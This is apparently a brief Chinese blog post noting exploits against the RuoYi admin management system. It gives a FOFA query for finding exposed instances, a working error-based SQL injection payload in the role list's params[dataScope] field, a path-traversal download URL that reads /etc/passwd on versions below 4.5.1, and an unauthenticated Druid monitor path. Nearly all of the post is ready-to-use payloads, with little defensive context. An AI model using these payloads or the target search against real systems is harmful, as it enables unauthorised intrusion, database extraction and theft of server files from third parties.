若依后台管理系统sql注入和未授权访问

做测试遇到的若依系统,记录下

FOFA:

app="若依-管理系统"

漏洞一:sql注入:

漏洞位置在"系统管理"里中的"角色管理中"
http://xxxxxxx/system/role/list

POC:
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and
extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))

漏洞二:任意文件下载

影响版本:RuoYi < v4.5.1

若依管理系统后台任意文件读取

http://xxx/common/download/resource?resource/profile/…/…/…/…/etc/passwd

若依管理系统未授权访问

http://xxx.xxx.xxx.xxx/prod-api/druid/index.html

参考:https://blog.csdn.net/Guapichen/article/details/119212781

 

 
posted @ 2021-08-31 11:01  我有清茶与酒  阅读(2086)  评论(0编辑  收藏  举报